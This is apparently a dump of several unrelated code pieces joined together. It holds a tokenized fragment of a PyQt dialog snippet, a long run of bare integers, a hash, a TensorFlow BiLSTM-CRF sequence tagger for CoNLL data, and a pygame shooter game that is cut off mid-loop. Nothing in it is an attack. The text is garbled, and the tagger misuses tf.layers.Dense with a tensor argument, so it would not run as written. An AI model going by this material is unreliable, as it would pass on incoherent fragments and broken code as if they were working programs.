"ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġself", ".", "tr", "ann", "Ġis", "ĠNone", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "tr", "ann", "Ġ=", "Ġtraditional", "NN", ".", "trad", "itional", "NN", "(", "None", ")", "ĊĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġsucceed", "Ġ=", "Ġself", ".", "tr", "ann", ".", "setModel", "(", "fname", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġsucceed", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġmodel", "Name", "Ġ=", "Ġfname", ".", "split", "(\"/\")", "[-", "1", "].", "split", "(\".", "\")[", "0", "]", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "present", "ModelName", "T", ".", "setText", "(", "model", "Name", ")", "ĊĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreply", "Ġ=", "ĠQ", "MessageBox", ".", "information", "(", "self", ",", "Ġ\"", "设置", "ç»ĵæŀľ", "\",", "Ġ\"", "模åŀĭ", "设置", "æĪIJåĬŁ", "\",", "ĠQ", "MessageBox", ".", "Yes", ",", "ĠQ", "MessageBox", ".", "Yes", ")", "ĊĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreply", "Ġ=", "ĠQ", "MessageBox", ".", "information", "(", "self", ",", "Ġ\"", "设置", "ç»ĵæŀľ", "\",", "Ġ\"", "模åŀĭ", "设置", "失败", "\",", "ĠQ", "MessageBox", ".", "Yes", ",", "ĠQ", "MessageBox", ".", "Yes", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġreply", "Ġ=", "ĠQ", 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39, 44, 45, 49, 53, 57, 59, 62, 65, 70, 71, 75, 78, 82, 87, 89, 92, 94, 16, 18, 16, 18, 24, 25, 29, 30, 34, 37, 39, 42, 45, 49, 54, 55, 56, 59, 60, 62, 67, 68, 72, 75, 77, 80, 83, 87, 92, 93, 94, 12, 19, 24, 37, 40, 42, 43, 16, 22, 24, 26, 36, 37, 48, 49, 53, 54, 56, 63, 65, 67, 71, 76, 80, 86, 88, 90, 100, 101, 104, 105, 107, 117, 118, 121, 122, 16, 23, 12, 19, 29, 30, 16, 22, 24, 26, 36, 37, 48, 49, 53, 54, 56, 63, 65, 67, 71, 76, 83, 89, 91, 93, 103, 104, 107, 108, 110, 120, 121, 124, 125, 16, 23, 12, 16, 18, 21, 23, 28, 29, 34, 36, 39, 42, 47, 52, 54, 55, 57, 62, 65, 68, 69, 70, 12, 14, 20, 21, 24, 26, 29, 30, 12, 17, 18, 25, 29, 33, 34, 35, 42, 43, 46, 48, 51, 52, 12, 17, 18, 25, 29, 33, 34, 35, 41, 42, 46, 47, 54, 58, 62, 63, 64, 68, 72, 75, 8, 15, 4, 8, 12, 16, 25, 26, 30, 32, 8, 11, 16, 17, 23, 25, 28, 33, 34, 38, 42, 45, 50, 57, 63, 64, 12, 17, 18, 21, 23, 29, 31, 35, 39, 48, 54, 55, 58, 62, 71, 77, 79, 86, 87, 90, 92, 93, 94, 96, 98, 103, 104, 106, 109, 111, 8, 13, 18, 19, 25, 27, 30, 35, 36, 40, 44, 47, 52, 59, 65, 66, 67, 12, 17, 18, 21, 23, 29, 31, 35, 39, 48, 54, 55, 58, 62, 71, 77, 79, 83, 90, 93, 95, 96, 97, 99, 101, 106, 107, 109, 112, 114, 8, 10, 16, 17, 21, 22, 26, 30, 34, 35, 8, 10, 16, 17, 21, 22, 26, 29, 33, 38, 39, 8, 15, 4, 8, 13, 17, 18, 22, 24, 8, 11, 16, 17, 23, 25, 28, 33, 34, 38, 42, 48, 49, 12, 14, 20, 21, 22, 23, 12, 17, 18, 22, 26, 27, 29, 34, 38, 44, 45, 49, 53, 59, 61, 68, 69, 72, 74, 76, 78, 83, 84, 86, 89, 91, 8, 13, 18, 19, 25, 27, 30, 35, 36, 40, 44, 50, 51, 52, 12, 14, 20, 21, 22, 23, 12, 17, 18, 22, 26, 27, 29, 34, 38, 44, 45, 49, 53, 59, 61, 65, 72, 75, 77, 79, 81, 86, 87, 89, 92, 94, 8, 15, 4, 8, 12, 19, 20, 24, 26, 8, 11, 16, 17, 21, 24, 26, 29, 31, 34, 39, 40, 12, 18, 20, 22, 32, 33, 44, 45, 49, 50, 52, 54, 56, 58, 60, 62, 64, 66, 67, 69, 70, 72, 74, 76, 86, 87, 90, 91, 93, 103, 104, 107, 108, 8, 13, 14, 12, 17, 18, 22, 25, 27, 30, 33, 37, 40, 47, 49, 12, 18, 20, 22, 32, 33, 44, 45, 49, 50, 52, 59, 61, 63, 66, 73, 81, 84, 86, 96, 97, 100, 101, 103, 113, 114, 117, 118, 8, 15, 4, 13, 19, 28, 35, 36, 52, 53, 4, 8, 12, 17, 27, 28, 32, 34, 8, 11, 16, 17, 23, 25, 28, 33, 34, 42, 52, 58, 59, 12, 14, 20, 21, 22, 23, 12, 17, 18, 26, 30, 31, 33, 37, 42, 52, 58, 59, 62, 66, 75, 81, 83, 90, 91, 94, 96, 98, 100, 102, 107, 108, 110, 113, 115, 8, 13, 18, 19, 25, 27, 30, 35, 36, 44, 54, 60, 61, 62, 12, 17, 18, 26, 30, 31, 33, 37, 42, 52, 58, 59, 62, 66, 75, 81, 83, 87, 94, 97, 99, 101, 103, 105, 110, 111, 113, 116, 118, 4, 8, 17, 18, 22, 24, 8, 11, 16, 17, 23, 25, 28, 33, 34, 42, 48, 49, 12, 15, 20, 21, 29, 30, 33, 37, 42, 43, 16, 21, 22, 30, 31, 32, 36, 38, 16, 18, 24, 25, 29, 30, 38, 39, 40, 16, 21, 22, 30, 31, 32, 36, 38, 16, 23, 12, 19, 23, 25, 27, 30, 31, 8, 13, 18, 19, 25, 27, 30, 35, 36, 44, 50, 51, 52, 12, 15, 20, 21, 29, 31, 34, 38, 43, 44, 16, 21, 22, 30, 32, 33, 37, 39, 16, 21, 22, 30, 32, 33, 37, 39, 12, 19, 23, 25, 27, 30, 31, 8, 11, 16, 17, 21, 24, 25, 31, 35, 36, 39, 44, 45, 12, 18, 20, 22, 32, 33, 44, 45, 49, 50, 52, 54, 56, 58, 60, 62, 64, 66, 67, 69, 71, 73, 75, 85, 86, 89, 90, 92, 102, 103, 106, 107, 12, 19, 8, 13, 20, 24, 27, 29, 32, 34, 12, 15, 20, 21, 25, 28, 29, 35, 39, 41, 45, 50, 51, 52, 57, 58, 59, 60, 62, 67, 68, 75, 78, 82, 83, 16, 22, 24, 26, 36, 37, 48, 49, 20, 25, 26, 28, 30, 32, 34, 36, 37, 38, 39, 41, 42, 43, 44, 45, 46, 48, 50, 52, 53, 55, 57, 59, 61, 71, 72, 75, 76, 78, 88, 89, 92, 16, 18, 16, 23, 12, 15, 17, 16, 24, 27, 36, 37, 44, 47, 50, 51, 55, 56, 60, 63, 64, 70, 74, 76, 80, 85, 86, 87, 92, 93, 94, 96, 101, 102, 109, 112, 116, 117, 16, 18, 23, 24, 31, 34, 41, 12, 15, 16, 22, 24, 26, 36, 37, 48, 49, 20, 25, 26, 28, 30, 32, 34, 36, 37, 38, 39, 41, 42, 43, 44, 45, 46, 48, 50, 51, 52, 53, 55, 57, 58, 59, 60, 61, 63, 65, 75, 76, 79, 80, 82, 92, 93, 96, 16, 18, 16, 23, 12, 14, 20, 21, 25, 26, 34, 35, 36, 12, 15, 20, 21, 29, 31, 34, 38, 43, 44, 16, 22, 24, 26, 36, 37, 48, 49, 20, 25, 26, 28, 30, 32, 34, 38, 45, 48, 50, 52, 54, 55, 56, 58, 59, 61, 63, 65, 75, 76, 79, 80, 82, 92, 93, 96, 16, 18, 16, 23, 12, 17, 18, 26, 27, 29, 38, 44, 45, 50, 54, 60, 62, 69, 70, 73, 75, 77, 82, 83, 90, 94, 95, 12, 17, 18, 21, 24, 30, 32, 36, 37, 43, 47, 48, 50, 56, 8, 13, 20, 24, 27, 29, 32, 34, 12, 15, 20, 21, 29, 30, 33, 37, 42, 43, 16, 22, 24, 26, 36, 37, 48, 49, 20, 25, 26, 28, 30, 32, 34, 41, 42, 45, 47, 49, 51, 52, 53, 55, 56, 58, 60, 62, 72, 73, 76, 77, 79, 89, 90, 93, 16, 18, 16, 23, 12, 17, 18, 26, 28, 30, 39, 45, 46, 51, 55, 61, 63, 67, 74, 77, 79, 81, 86, 87, 94, 98, 99, 12, 17, 18, 21, 24, 30, 32, 36, 37, 43, 47, 48, 50, 56, 8, 15, 4, 8, 13, 18, 19, 23, 25, 8, 11, 16, 17, 23, 25, 28, 33, 34, 38, 43, 49, 50, 12, 15, 20, 21, 22, 25, 27, 30, 35, 36, 16, 22, 24, 26, 36, 37, 48, 49, 53, 54, 56, 58, 60, 62, 64, 66, 69, 71, 73, 83, 84, 87, 88, 90, 100, 101, 104, 105, 16, 23, 12, 17, 18, 16, 22, 23, 26, 28, 30, 40, 41, 44, 48, 56, 57, 20, 25, 26, 28, 32, 38, 40, 44, 46, 48, 55, 58, 59, 62, 64, 65, 69, 71, 73, 80, 81, 84, 89, 95, 98, 99, 102, 104, 105, 109, 111, 16, 18, 16, 19, 22, 23, 20, 28, 30, 35, 36, 37, 40, 42, 43, 47, 52, 53, 58, 59, 20, 23, 31, 32, 24, 30, 32, 34, 44, 45, 56, 57, 61, 62, 64, 66, 68, 70, 72, 74, 76, 78, 80, 82, 92, 93, 96, 97, 99, 109, 110, 113, 114, 20, 25, 26, 24, 30, 32, 34, 44, 45, 56, 57, 61, 62, 64, 66, 68, 70, 72, 74, 76, 78, 80, 82, 92, 93, 96, 97, 99, 109, 110, 113, 114, 16, 21, 22, 20, 26, 28, 30, 40, 41, 52, 53, 57, 58, 60, 62, 64, 66, 68, 70, 72, 74, 76, 78, 88, 89, 92, 93, 95, 105, 106, 109, 110, 8, 13, 18, 19, 25, 27, 30, 35, 36, 40, 45, 51, 52, 53, 12, 15, 20, 21, 23, 26, 29, 34, 35, 16, 22, 24, 26, 36, 37, 48, 49, 53, 54, 56, 58, 60, 62, 64, 66, 69, 71, 73, 83, 84, 87, 88, 90, 100, 101, 104, 105, 16, 23, 12, 17, 18, 16, 22, 23, 26, 28, 30, 40, 41, 44, 48, 56, 57, 20, 25, 26, 28, 32, 38, 40, 44, 46, 50, 57, 59, 60, 62, 65, 66, 70, 72, 74, 76, 78, 85, 88, 93, 99, 102, 103, 105, 108, 109, 113, 115, 16, 18, 16, 19, 22, 23, 20, 28, 30, 35, 36, 38, 41, 42, 46, 51, 52, 57, 58, 20, 23, 31, 32, 24, 30, 32, 34, 44, 45, 56, 57, 61, 62, 64, 66, 68, 70, 72, 74, 76, 78, 80, 82, 92, 93, 96, 97, 99, 109, 110, 113, 114, 20, 25, 26, 24, 30, 32, 34, 44, 45, 56, 57, 61, 62, 64, 66, 68, 70, 72, 74, 76, 78, 80, 82, 92, 93, 96, 97, 99, 109, 110, 113, 114, 16, 21, 22, 20, 26, 28, 30, 40, 41, 52, 53, 57, 58, 60, 62, 64, 66, 68, 70, 72, 74, 76, 78, 88, 89, 92, 93, 95, 105, 106, 109, 110, 4, 8, 13, 18, 19, 23, 25, 8, 11, 16, 17, 23, 25, 28, 33, 34, 38, 43, 49, 50, 12, 18, 19, 22, 24, 26, 36, 37, 40, 44, 52, 53, 57, 58, 60, 64, 70, 72, 76, 78, 80, 87, 88, 91, 96, 102, 105, 106, 109, 111, 112, 116, 119, 12, 15, 18, 19, 16, 19, 24, 25, 26, 29, 31, 34, 39, 40, 20, 25, 26, 27, 30, 32, 34, 37, 44, 47, 48, 50, 57, 60, 61, 65, 66, 71, 72, 79, 82, 86, 87, 92, 93, 97, 101, 104, 105, 110, 111, 118, 121, 128, 129, 16, 24, 26, 31, 32, 33, 36, 38, 39, 47, 48, 53, 54, 16, 19, 27, 28, 20, 26, 30, 32, 38, 39, 44, 49, 51, 52, 54, 59, 62, 65, 66, 67, 20, 25, 26, 33, 42, 43, 50, 51, 56, 60, 61, 20, 26, 28, 30, 40, 41, 52, 53, 57, 58, 60, 62, 64, 66, 68, 70, 72, 74, 76, 78, 88, 89, 92, 93, 95, 105, 106, 109, 110, 16, 21, 22, 20, 26, 28, 30, 40, 41, 52, 53, 57, 58, 60, 62, 64, 66, 68, 70, 72, 74, 76, 78, 88, 89, 92, 93, 95, 105, 106, 109, 110, 12, 17, 18, 16, 22, 24, 26, 36, 37, 48, 49, 53, 54, 56, 58, 60, 62, 64, 66, 68, 70, 72, 74, 84, 85, 88, 89, 91, 101, 102, 105, 106, 8, 13, 18, 19, 25, 27, 30, 35, 36, 40, 45, 51, 52, 53, 12, 18, 19, 22, 24, 26, 36, 37, 40, 44, 52, 53, 57, 58, 60, 64, 70, 72, 76, 78, 80, 82, 84, 91, 94, 99, 105, 108, 109, 111, 114, 115, 119, 122, 12, 15, 18, 19, 16, 19, 24, 25, 27, 30, 33, 38, 39, 20, 25, 26, 28, 31, 33, 45, 47, 48, 52, 59, 61, 62, 66, 67, 16, 24, 26, 31, 32, 34, 37, 38, 46, 47, 52, 53, 16, 19, 27, 28, 20, 26, 30, 32, 38, 39, 44, 49, 51, 52, 54, 59, 62, 65, 66, 67, 20, 25, 26, 33, 42, 43, 44, 51, 52, 57, 61, 62, 20, 26, 28, 30, 40, 41, 52, 53, 57, 58, 60, 62, 64, 66, 68, 70, 72, 74, 76, 78, 88, 89, 92, 93, 95, 105, 106, 109, 110, 16, 21, 22, 20, 26, 28, 30, 40, 41, 52, 53, 57, 58, 60, 62, 64, 66, 68, 70, 72, 74, 76, 78, 88, 89, 92, 93, 95, 105, 106, 109, 110, 12, 17, 18, 16, 22, 24, 26, 36, 37, 48, 49, 53, 54, 56, 58, 60, 62, 64, 66, 68, 70, 72, 74, 84, 85, 88, 89, 91, 101, 102, 105, 106, 8, 15, 4, 8, 13, 19, 20, 24, 26, 8, 11, 16, 17, 23, 25, 28, 33, 34, 38, 44, 50, 51, 12, 15, 20, 21, 24, 27, 33, 35, 39, 41, 44, 47, 16, 22, 24, 26, 36, 37, 48, 49, 53, 54, 56, 58, 60, 62, 64, 66, 68, 70, 72, 82, 83, 86, 87, 89, 99, 100, 103, 104, 16, 23, 12, 17, 18, 22, 28, 29, 31, 36, 42, 48, 49, 53, 59, 65, 67, 74, 75, 78, 79, 80, 82, 84, 86, 91, 92, 94, 97, 99, 8, 13, 18, 19, 25, 27, 30, 35, 36, 40, 46, 52, 53, 54, 12, 15, 20, 21, 24, 27, 33, 35, 39, 41, 44, 47, 16, 22, 24, 26, 36, 37, 48, 49, 53, 54, 56, 58, 60, 62, 64, 66, 68, 70, 72, 82, 83, 86, 87, 89, 99, 100, 103, 104, 16, 23, 12, 17, 18, 22, 28, 29, 31, 36, 42, 48, 49, 53, 59, 65, 67, 71, 78, 81, 82, 83, 85, 87, 89, 94, 95, 97, 100, 102, 8, 15, 4, 8, 13, 14, 18, 19, 23, 25, 8, 11, 16, 17, 23, 25, 28, 33, 34, 39, 45, 51, 52, 12, 15, 20, 21, 24, 27, 33, 35, 39, 41, 44, 47, 16, 22, 24, 26, 36, 37, 48, 49, 53, 54, 56, 58, 60, 62, 64, 66, 68, 70, 72, 82, 83, 86, 87, 89, 99, 100, 103, 104, 16, 23, 12, 17, 18, 24, 26, 29, 31, 38, 39, 43, 50, 56, 57, 63, 64, 68, 75, 81, 82, 16, 18, 24, 26, 30, 34, 35, 40, 41, 43, 48, 52, 54, 59, 60, 62, 65, 66, 12, 14, 8, 13, 18, 19, 25, 27, 30, 35, 36, 41, 47, 53, 54, 55, 12, 15, 20, 21, 24, 27, 33, 35, 39, 41, 44, 47, 16, 22, 24, 26, 36, 37, 48, 49, 53, 54, 56, 58, 60, 62, 64, 66, 68, 70, 72, 82, 83, 86, 87, 89, 99, 100, 103, 104, 16, 23, 12, 17, 18, 24, 26, 29, 31, 38, 39, 43, 50, 56, 57, 63, 64, 68, 75, 81, 82, 16, 18, 24, 26, 30, 34, 35, 40, 41, 43, 48, 52, 54, 59, 60, 62, 65, 66, 12, 14, 8, 10, 15, 16, 20, 21, 23, 28, 29, 33, 40, 41, 46, 52, 54, 58, 60, 65, 66, 68, 71, 73, 75, 80, 82, 8, 10, 15, 16, 17, 20, 22, 23, 26, 29, 31, 35, 37, 42, 43, 47, 50, 52, 55, 58, 8, 10, 15, 17, 19, 21, 25, 29, 30, 32, 33, 37, 38, 42, 43, 44, 47, 49, 50, 54, 55, 56, 61, 64, 65, 70, 71, 72, 75, 77, 78, 81, 84, 86, 89, 96, 102, 105, 111, 112, 113, 115, 120, 121, 122, 125, 127, 128, 132, 133, 137, 141, 142, 143, 149, 150, 151, 153, 8, 10, 15, 17, 18, 22, 26, 29, 35, 37, 1, 1, 3, 6, 10, 12, 15, 19, 23, 27, 4, 8, 10, 12, 23, 24, 27, 28, 32, 33, 4, 7, 17, 19, 22, 32, 34, 4, 8, 9, 13, 14, 17, 18, 22, 23, 26 ]
5d9c8e235385ff53c7510994826ff3a04e4a5888
""" @file : 001-rnn+lstm+crf.py @author: xiaolu @time : 2019-09-06 """ import re import numpy as np import tensorflow as tf from sklearn.metrics import classification_report class Model: def __init__(self, dim_word, dim_char, dropout, learning_rate, hidden_size_char, hidden_size_word, num_layers): """ :param dim_word: 词的维度 :param dim_char: 字符维度 :param dropout: dropout :param learning_rate: 学习率 :param hidden_size_char: 字符隐层输出维度 :param hidden_size_word: 词隐层输出维度 :param num_layers: 几层 """ def cells(size, reuse=False): return tf.contrib.rnn.DropoutWrapper( tf.nn.rnn_cell.LSTMCell(size, initializer=tf.orthogonal_initializer(), reuse=reuse), output_keep_prob=dropout ) # 1. define input self.word_ids = tf.placeholder(tf.int32, shape=[None, None]) self.char_ids = tf.placeholder(tf.int32, shape=[None, None, None]) self.labels = tf.placeholder(tf.int32, shape=[None, None]) self.maxlen = tf.shape(self.word_ids)[1] self.lengths = tf.count_nonzero(self.word_ids, 1) # 2. embedding self.word_embeddings = tf.Variable(tf.truncated_normal([len(word2idx), dim_word], stddev=1.0 / np.sqrt(dim_word))) self.char_embeddings = tf.Variable(tf.truncated_normal([len(char2idx), dim_char], stddev=1.0 / np.sqrt(dim_char))) word_embedded = tf.nn.embedding_lookup(self.word_embeddings, self.word_ids) char_embedded = tf.nn.embedding_lookup(self.char_embeddings, self.char_ids) s = tf.shape(char_embedded) # (51312, 50, 27, embedding_size) char_embedded = tf.reshape(char_embedded, shape=[s[0] * s[1], s[-2], dim_char]) for n in range(num_layers): (out_fw, out_bw), (state_fw, state_bw) = tf.nn.bidirectional_dynamic_rnn( cell_fw=cells(hidden_size_char), cell_bw=cells(hidden_size_char), inputs=char_embedded, dtype=tf.float32, scope="bidirectional_rnn_char_%d" % n, ) char_embedded = tf.concat((out_fw, out_bw), 2) output = tf.reshape(char_embedded[:, -1], shape=[s[0], s[1], 2 * hidden_size_char]) word_embedded = tf.concat([word_embedded, output], axis=-1) # 将词嵌入部分与字符嵌入通过双向lstm输出部分进行拼接 for n in range(num_layers): (out_fw, out_bw), (state_fw, state_bw) = tf.nn.bidirectional_dynamic_rnn( cell_fw=cells(hidden_size_word), cell_bw=cells(hidden_size_word), inputs=word_embedded, dtype=tf.float32, scope="bidirectional_rnn_word_%d" % n, ) word_embedded = tf.concat((out_fw, out_bw), 2) logits = tf.layers.Dense(word_embedded, len(idx2tag)) y_t = self.labels log_likelihood, transition_params = tf.contrib.crf.crf_log_likelihood(logits, y_t, self.lengths) self.cost = tf.reduce_mean(-log_likelihood) self.optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(self.cost) mask = tf.sequence_mask(self.lengths, maxlen=self.maxlen) self.tags_seq, tags_score = tf.contrib.crf.crf_decode(logits, transition_params, self.lengths) self.tags_seq = tf.identity(self.tags_seq, name="logits") y_t = tf.cast(y_t, tf.int32) self.prediction = tf.boolean_mask(self.tags_seq, mask) mask_label = tf.boolean_mask(y_t, mask) correct_pred = tf.equal(self.prediction, mask_label) correct_index = tf.cast(correct_pred, tf.float32) self.accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32)) def parse(file): """ 加载文件并且解析 :param file: 文件名 :return: 词<->词性 """ with open(file) as fopen: texts = fopen.read().split("\n") left, right = [], [] for text in texts: if "-DOCSTART" in text or not len(text): continue splitted = text.split() left.append(splitted[0]) right.append(splitted[-1]) return left, right def process_string(string): """ :param string: :return: """ string = re.sub("[^A-Za-z0-9\-\/ ]+", " ", string).split() return " ".join([to_title(y.strip()) for y in string]) def to_title(string): if string.isupper(): string = string.title() return string def parse_XY(texts, labels): """ 整理词性表　　词表　　字符表　　并将文本转为对应的数字序列 :param texts: 文本　词的一个列表 :param labels: 词性的一个列表 :return: 词转为id的序列　词性转为id的序列 """ global word2idx, tag2idx, char2idx, word_idx, tag_idx, char_idx X, Y = [], [] for no, text in enumerate(texts): text = text.lower() # 当前这个单词转小写 tag = labels[no] # 取出对应的词性 for c in text: # 字符表 if c not in char2idx: char2idx[c] = char_idx char_idx += 1 if tag not in tag2idx: # 词性表 tag2idx[tag] = tag_idx tag_idx += 1 Y.append(tag2idx[tag]) # 当前这个词的词性转为id的值 if text not in word2idx: # 词表 word2idx[text] = word_idx word_idx += 1 X.append(word2idx[text]) # 将词转为id的标号 return X, np.array(Y) def iter_seq(x): return np.array([x[i : i + seq_len] for i in range(0, len(x) - seq_len, 1)]) def to_train_seq(*args): """ :param args: 词转为的id的序列　　　词性转为id的序列 :return: """ return [iter_seq(x) for x in args] def generate_char_seq(batch): """ 传进来是50一个块　总共有多少块 然后将每块的单词转为字符序列 :param batch: :return: """ x = [[len(idx2word[i]) for i in k] for k in batch] # 得出每个单词的长度 maxlen = max([j for i in x for j in i]) # 最大长度 temp = np.zeros((batch.shape[0], batch.shape[1], maxlen), dtype=np.int32) for i in range(batch.shape[0]): for k in range(batch.shape[1]): for no, c in enumerate(idx2word[batch[i, k]]): temp[i, k, -1 - no] = char2idx[c] return temp # [文章数, 单词个数, maxlen(每个单词按字符转的id)] def pred2label(pred): # 将预测结果转为标签 out = [] for pred_i in pred: out_i = [] for p in pred_i: out_i.append(idx2tag[p]) out.append(out_i) return out if __name__ == "__main__": left_train, right_train = parse("./data/eng.train") left_test, right_test = parse("./data/eng.testa") # print(left_train[:10]) # print(right_train[:10]) word2idx = {"PAD": 0, "NUM": 1, "UNK": 2} # 词表 tag2idx = {"PAD": 0} # 词性表 char2idx = {"PAD": 0} word_idx = 3 tag_idx = 1 char_idx = 1 train_X, train_Y = parse_XY(left_train, right_train) test_X, test_Y = parse_XY(left_test, right_test) # print(train_X[:20]) # print(train_Y[:20]) idx2word = {idx: tag for tag, idx in word2idx.items()} idx2tag = {i: w for w, i in tag2idx.items()} seq_len = 50 X_seq, Y_seq = to_train_seq(train_X, train_Y) # 长度为50为一个段落 X_char_seq = generate_char_seq(X_seq) print(X_seq.shape) # (203571, 50) print(X_char_seq.shape) # (203571, 50, 61) X_seq_test, Y_seq_test = to_train_seq(test_X, test_Y) X_char_seq_test = generate_char_seq(X_seq_test) print(X_seq_test.shape) # (51312, 50) print(X_char_seq_test.shape) # (51312, 50, 27) train_X, train_Y, train_char = X_seq, Y_seq, X_char_seq test_X, test_Y, test_char = X_seq_test, Y_seq_test, X_char_seq_test tf.reset_default_graph() sess = tf.Session() dim_word = 64 dim_char = 128 dropout = 0.8 learning_rate = 1e-3 hidden_size_char = 128 hidden_size_word = 128 num_layers = 2 batch_size = 32 model = Model(dim_word, dim_char, dropout, learning_rate, hidden_size_char, hidden_size_word, num_layers) sess.run(tf.global_variables_initializer()) for e in range(3): train_acc, train_loss, test_acc, test_loss = 0, 0, 0, 0 for i in range(0, len(train_X), batch_size): batch_x = train_X[i : min(i + batch_size, train_X.shape[0])] batch_char = train_char[i : min(i + batch_size, train_X.shape[0])] batch_y = train_Y[i : min(i + batch_size, train_X.shape[0])] acc, cost, _ = sess.run( [model.accuracy, model.cost, model.optimizer], feed_dict={model.word_ids: batch_x, model.char_ids: batch_char, model.labels: batch_y}, ) train_loss += cost train_acc += acc print("train_data: epoch:{}, step:{}, loss:{}, accuracy:{}".format(e, i // batch_size + 1, cost, acc)) for i in range(0, len(test_X), batch_size): batch_x = test_X[i : min(i + batch_size, test_X.shape[0])] batch_char = test_char[i : min(i + batch_size, test_X.shape[0])] batch_y = test_Y[i : min(i + batch_size, test_X.shape[0])] acc, cost = sess.run( [model.accuracy, model.cost], feed_dict={model.word_ids: batch_x, model.char_ids: batch_char, model.labels: batch_y}, ) test_loss += cost test_acc += acc print("test_data: epoch:{}, step:{}, loss:{}, accuracy:{}".format(e, i // batch_size + 1, cost, acc)) train_loss /= len(train_X) / batch_size train_acc /= len(train_X) / batch_size test_loss /= len(test_X) / batch_size test_acc /= len(test_X) / batch_size print( "epoch: %d, training loss: %f, training acc: %f, valid loss: %f, valid acc: %f\n" % (e, train_loss, train_acc, test_loss, test_acc) ) real_Y, predict_Y = [], [] for i in range(0, len(test_X), batch_size): batch_x = test_X[i : min(i + batch_size, test_X.shape[0])] batch_char = test_char[i : min(i + batch_size, test_X.shape[0])] batch_y = test_Y[i : min(i + batch_size, test_X.shape[0])] predicted = pred2label( sess.run( model.tags_seq, feed_dict={ model.word_ids: batch_x, model.char_ids: batch_char, }, ) ) real = pred2label(batch_y) predict_Y.extend(predicted) real_Y.extend(real) print(classification_report(np.array(real_Y).ravel(), np.array(predict_Y).ravel()))
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import random import math import time import pygame pygame.init() scr = pygame.display.set_mode((700, 700)) enemies = [] # music = pygame.mixer.music.load('ENERGETIC CHIPTUNE Thermal - Evan King.mp3') # pygame.mixer.music.play(-1) hit = [] class Player: def __init__(self): self.x = 275 self.y = 275 self.image = pygame.image.load("player.jpg") self.image1 = pygame.image.load("hearts.png") self.lives = 5 def draw(self): scr.blit(self.image, (self.x, self.y)) def rotate(self, x, y): oppos = math.fabs(y - self.y) adjac = math.fabs(x - self.x) hypot = math.hypot(oppos, adjac) sin = oppos / hypot radians = math.asin(sin) angle = radians * (180 / 3.14) if x > self.x: if y > self.y: angle -= angle + angle if x < self.x: angle = 180 + (angle - (angle + angle)) if y > self.y: angle -= angle + angle return angle - 90 class Bullet: def __init__(self, color): self.x = 0 self.y = 0 self.angle = 0 self.color = color def draw(self): pygame.draw.rect(scr, self.color, pygame.Rect(self.x, self.y, 5, 5)) class Gun: def __init__(self): self.x = 0 self.y = 0 self.bullets = [] self.bullets2 = [] def shoot1(self, x, y, angle): self.bullets.append(Bullet((0, 255, 255))) self.bullets[-1].x = x self.bullets[-1].y = y self.bullets[-1].angle = angle def shoot2(self, x, y, angle): self.bullets2.append(Bullet((255, 255, 0))) self.bullets2[-1].x = x self.bullets2[-1].y = y self.bullets2[-1].angle = angle class Enemy: def __init__(self): self.x = 100 self.y = 100 self.speed = 2 self.hearts = 3 self.image = pygame.image.load("enemy.png") def draw(self): scr.blit(self.image, (self.x, self.y)) def rotate(self, x, y): oppos = math.fabs(y - self.y) adjac = math.fabs(x - self.x) hypot = math.hypot(oppos, adjac) sin = oppos / hypot radians = math.asin(sin) angle = radians * (180 / 3.14) if x > self.x: if y > self.y: angle -= angle + angle if x < self.x: angle = 180 + (angle - (angle + angle)) if y > self.y: angle -= angle + angle return angle - 90 def distance(self, x, y): oppos = math.fabs(y - self.y) adjac = math.fabs(x - self.x) hypot = math.hypot(oppos, adjac) return hypot def spawn(self): enemies.append(Enemy()) enemies[-1].x = random.randint(0, 600) enemies[-1].y = random.randint(0, 600) cmd = Enemy() gun = Gun() player = Player() cmd.spawn() cmd.spawn() last = 0 frames = 0 fro = 1 while True: frames += 1 scr.fill((0, 0, 0)) for event in pygame.event.get(): key = pygame.key.get_pressed() Mpos = pygame.mouse.get_pos() if event.type == 5: gun.shoot1(player.x + 12.5, player.y + 12.5, angle) for i in range(0, player.lives): scr.blit(player.image1, (i * 35, 1)) for i in range(len(gun.bullets)): try: gun.bullets[i].x = gun.bullets[i].x + 4 * math.cos(math.radians(gun.bullets[i].angle + 90)) gun.bullets[i].y = gun.bullets[i].y + 4 * math.sin(math.radians(gun.bullets[i].angle - 90)) if gun.bullets[i].x > 600: del gun.bullets[i] if gun.bullets[i].x < 0: del gun.bullets[i] if gun.bullets[i].y > 600: del gun.bullets[i] if gun.bullets[i].y < 0: del gun.bullets[i] gun.bullets[i].draw() except IndexError: pass for i in range(len(gun.bullets2)): try: gun.bullets2[i].x = gun.bullets2[i].x + 4 * math.cos(math.radians(gun.bullets2[i].angle + 90)) gun.bullets2[i].y = gun.bullets2[i].y + 4 * math.sin(math.radians(gun.bullets2[i].angle - 90)) if gun.bullets2[i].x > 600: del gun.bullets2[i] if gun.bullets2[i].x < 0: del gun.bullets2[i] if gun.bullets2[i].y > 600: del gun.bullets2[i] if gun.bullets2[i].y < 0: del gun.bullets2[i] gun.bullets2[i].draw() except IndexError: pass for i in range(len(enemies)): if enemies[i].distance(player.x, player.y) > 100: enemies[i].x = enemies[i].x + enemies[i].speed * math.cos(math.radians(enemies[i].rotate(player.x, player.y) + 90)) enemies[i].y = enemies[i].y + enemies[i].speed * math.sin(math.radians(enemies[i].rotate(player.x, player.y) - 90)) enemies[i].image = pygame.image.load("enemy.png").convert() enemies[i].image = enemies[i].image.copy() enemies[i].image = pygame.transform.rotate(enemies[i].image, enemies[i].rotate(player.x, player.y)) angle2 = enemies[i].rotate(player.x, player.y) if frames % 100 == 0: 